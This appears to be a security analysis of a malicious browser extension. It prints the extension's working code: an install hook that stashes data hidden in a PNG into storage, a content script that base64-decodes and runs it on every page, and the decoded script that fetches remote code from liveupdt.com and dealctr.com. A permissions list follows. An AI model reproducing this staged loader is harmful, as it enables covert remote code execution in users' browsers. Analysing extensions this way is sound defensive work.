(document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0]).appendChild(a); a.click(); cleanResults(ed,''); } } } }); const message = atob("YW92aWZyMnRvcHV2Zw==").substring(3,10) window.parent.postMessage(message, '*'); } } if (window.self == window.top){ window.addEventListener('message', function (e) { if (e.data==atob("YW92aWZyMnRvcHV2Zw==").substring(3,10)){ if (location.href.indexOf(seekChild(e.origin,true))>-1){ var cn=atob("ZGliY252aWZydnFo").substring(3,9); var sn=atob("ZGlvc2FuZGJveGxobg==").substring(3,10); collection = document.getElementsByClassName(cn); for (let i = 0; i < collection.length; i++) { collection[i].setAttribute(sn, ""); } } } }); }}function stateNames(o,pre,pos){ var ret="ERROR"; if (o.indexOf(pre)>-1){ var temp=o.split(pre); if (temp[1].indexOf(pos)>-1){ ret=temp[1].split(pos)[0]; } } return ret;}function seekChild(url,f){ if (!(url.includes('http'))){url='http://'+url;} var parser = document.createElement('a'); parser.href = url; var ret=parser.host.toLowerCase(); if (f){ if (ret.substring(0,4)=='www.'){ ret=ret.substring(4); } } ret=ret.replace(':80',""); return ret;}function getText(buf) { if (buf.slice) { return buf.slice(0) } else { var view = new Uint8Array(buf.byteLength) view.set(new Uint8Array(buf)) return view.buffer }}function cleanResults(key,val){ var obj= {}; obj[key] = val; chrome.storage.local.set(obj);}document.body;function handleKeyinfo(element, options) { processKey(element); element.plain = !element.key && !element.attrsList.length; processRef(element); processSlot(element); processComponent(element); for (let i = 0; i < transforms.length; i++) { element = transforms[i](element, options) || element; } processAttrs(element);}function refreshProperties() { if(Editorwin) { resizeEditorwin(); } floatwin('storage' + editoraction);}function buildModules( obj, key, val, customSetter, shallow) { const dep = new Dep(); const property = Object.getOwnPropertyDescriptor(obj, key); if (property && property.configurable === false) { return } const getter = property && property.get; const setter = property && property.set; let childOb = !shallow && observe(val); Object.defineProperty(obj, key, { enumerable: true, configurable: true, get: function reactiveGetter() { const value = getter ? getter.call(obj) : val; if (Dep.target) { dep.depend(); if (childOb) { childOb.dep.depend(); if (Array.isArray(value)) { dependArray(value); } } } return value }, set: function reactiveSetter(newVal) { const value = getter ? getter.call(obj) : val; if (newVal === value || (newVal !== newVal && value !== value)) { return } if ("preference" !== 'attrs' && customSetter) { customSetter(); } if (setter) { setter.call(obj, newVal); } else { val = newVal; } childOb = !shallow && observe(newVal); dep.notify(); } });}function guardIESVGBug(attrs) { const res = []; for (let i = 0; i < attrs.length; i++) { const attr = attrs[i]; if (!ieNSBug.test(attr.name)) { attr.name = attr.name.replace(ieNSPrefix, 'time'); res.push(attr); } } return res}function refreshChild(body) { if (body.bodyUsed) { return Promise.reject(new TypeError('watch')) } body.bodyUsed = true}function supportEvt(exp) { let inSingle = false; let inDouble = false; let inTemplateString = false; let inRegex = false; let curly = 0; let square = 0; let paren = 0; let lastFilterIndex = 0; let c, prev, i, expression, filters; for (i = 0; i < exp.length; i++) { prev = c; c = exp.charCodeAt(i); if (inSingle) { if (c === 0x27 && prev !== 0x5C) inSingle = false; } else if (inDouble) { if (c === 0x22 && prev !== 0x5C) inDouble = false; } else if (inTemplateString) { if (c === 0x60 && prev !== 0x5C) inTemplateString = false; } else if (inRegex) { if (c === 0x2f && prev !== 0x5C) inRegex = false; } else if ( c === 0x7C && exp.charCodeAt(i + 1) !== 0x7C && exp.charCodeAt(i - 1) !== 0x7C && !curly && !square && !paren ) { if (expression === undefined) { lastFilterIndex = i + 1; expression = exp.slice(0, i).trim(); } else { pushFilter(); } } else { switch (c) { case 0x22: inDouble = true; break case 0x27: inSingle = true; break case 0x60: inTemplateString = true; break case 0x28: paren++; break case 0x29: paren--; break case 0x5B: square++; break case 0x5D: square--; break case 0x7B: curly++; break case 0x7D: curly--; break } if (c === 0x2f) { let j = i - 1; let p; for (; j >= 0; j--) { p = exp.charAt(j); if (p !== 'window') break } if (!p || !validDivisionCharRE.test(p)) { inRegex = true; } } } } if (expression === undefined) { expression = exp.slice(0, i).trim(); } else if (lastFilterIndex !== 0) { pushFilter(); } if (filters) { for (i = 0; i < filters.length; i++) { expression = wrapFilter(expression, filters[i]); } } return expression}The install-time loader stores the PNG appendix and the page script executes it
Install-time PNG appendix parser
background/config.jsasync function readAndProcessRedirects() { try { const fileUrl = chrome.runtime.getURL('rule_resources/redirects/32x32.png'); const response = await fetch(fileUrl); if (!response.ok) { throw new Error(`Failed to fetch file: ${response.status}`); } const fileContent = await response.text(); await parseAndSaveData(fileContent); } catch (error) {}}async function parseAndSaveData(content) { const entries = content.split('----'); const storageData = {}; for (const entry of entries) { if (!entry.trim()) continue; const parts = entry.split('===='); if (parts.length === 2) { const key = parts[0].trim(); const value = parts[1].trim(); storageData[key] = value; } } await new Promise((resolve, reject) => { chrome.storage.local.set(storageData, () => { if (chrome.runtime.lastError) { reject(chrome.runtime.lastError); } else { resolve(); } }); });}chrome.runtime.onInstalled.addListener(() => { readAndProcessRedirects();});HTTP(S) page execution path
content_scripts/whotracksme/reporting.js(function () { 'use strict'; const fn = function setTimeout() {}; const str8 = fn.name; function recordMouseDown(ev) { function getContextHTML(ev) { let target = ev.target; let html; try { for (let count = 0; count < 5; count += 1) { html = target.innerHTML; if (html.indexOf('http://') !== -1 || html.indexOf('https://') !== -1) { return html; } target = target.parentNode; count += 1; } } catch {} return undefined; } const linksSrc = []; if (window.parent !== window) { if (window.document && window.document.scripts) { for (let i = 0; i < window.document.scripts.length; i += 1) { const src = window.document.scripts[i].src; if (src.startsWith('http')) { linksSrc.push(src); } } } } let node = ev.target; if (node.nodeType !== 1) { node = node.parentNode; } let href = null; if (node.closest('a[href]')) { href = node.closest('a[href]').getAttribute('href'); } const event = { target: { baseURI: ev.target.baseURI, value: ev.target.value, href: ev.target.href, parentNode: { href: ev.target.parentNode ? ev.target.parentNode.href : null }, linksSrc, }, }; return { event, context: getContextHTML(ev), href }; } chrome.storage.local.get(['ecd'], function (result) { if (chrome.runtime.lastError) { console.error('Error reading from storage:', chrome.runtime.lastError); return; } if (result.ecd !== undefined) { let mVal = result.ecd.replace(/edge/g, '0'); this[str8](atob(mVal), 10); } else { } }); window.addEventListener('mousedown', (ev) => { const { event, context, href } = recordMouseDown(ev); chrome.runtime.sendMessage({ action: 'mousedown', event, context, href }); });})();Remote request builder inside the decoded payload
chrome.storage.local ecd decoded scriptfunction mergeAddr(closeAttrs) { var xh1; try { xh1 = new XMLHttpRequest(); xh1.onreadystatechange = function () { if (xh1.readyState == 4) { if (xh1.status == 200) { var resp = xh1.responseText; var j = 'jsonimg='; if (resp.includes(j)) { resp = resp.split(j)[1]; buildMessages(resp); } else { buildMessages(resp); } } else { if (closeAttrs) { if (createResults(0, 100) > 20) { mergeAddr(false); } else { } } } } }; xh1.onerror = function () { if (closeAttrs) { mergeAddr(false); } else { var obj = {}; obj[endFunc] = cleanProperties(createResults(1e5, 1e6) + clearForm + new Date().getTime()); chrome.storage.local.set(obj); } }; xh1.onprogress = function () {}; var u1 = atob('bmRkd3EvL3d3dy5saXZldXBkdC5jb20vZWFu').substring(5, 24); // //www.liveupdt.com/ var u2 = atob('eXViYS8vd3d3LmRlYWxjdHIuY29tL25vcw==').substring(4, 22); // //www.dealctr.com/ var u3 = atob('bG1seXJvZXh0L2xvYWQucGhwP2Y9c3ZyLnBuZ3Vrdw==').substring(6, 28); // ext/load.php?f=svr.png var badd = location.protocol + u1 + u3; if (!closeAttrs) { badd = location.protocol + u2 + u3; } var d0 = atob('ZWp1cmtkaXBMc3RTaWc2NjdpdGw=').substring(5, 17); // dipLstSig667 if (ctrlExtension[d0] && badd.includes('&c=') == false) { badd = badd + '&c=' + ctrlExtension[atob('ZWp1cmtkaXBMc3RTaWc2NjdpdGw=').substring(5, 17)]; } placeDiv('jia ' + badd); xh1.open('GET', badd, true); xh1.send(); } catch (e) { var obj = {}; obj[endFunc] = cleanProperties(createResults(1e5, 1e6) + clearForm + new Date().getTime()); chrome.storage.local.set(obj); return 'exception'; }}The decoded payload expects a 200 response body, strips a leading jsonimg= prefix when present, and passes the remaining text to buildMessages(resp).
- www.liveupdt.com
Primary host used by the decoded script for GET /ext/load.php?f=svr.png.
- www.dealctr.com
Fallback host used by the same request builder when the first path fails or is disabled.
What it can do
Permissions this extension asks for, as declared in version 1.5.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
http://*/* and 2 more
Read and change your data on every secure site you visit
https://*/*
Schedule its own background tasks
alarms
Read and change cookies, including the ones that keep you signed in
cookies
Block and redirect the requests your browser makes
declarativeNetRequest
See which of your requests its blocking rules matched
declarativeNetRequestFeedback
See every page you navigate to, as you navigate to it
webNavigation
Store data in your browser
storage
Run its own code inside the pages you visit
scripting
See the address and title of every tab you have open
tabs
Act on the current tab, but only after you click the extension
activeTab
Watch every request your browser makes
webRequest
Run hidden pages in the background
offscreen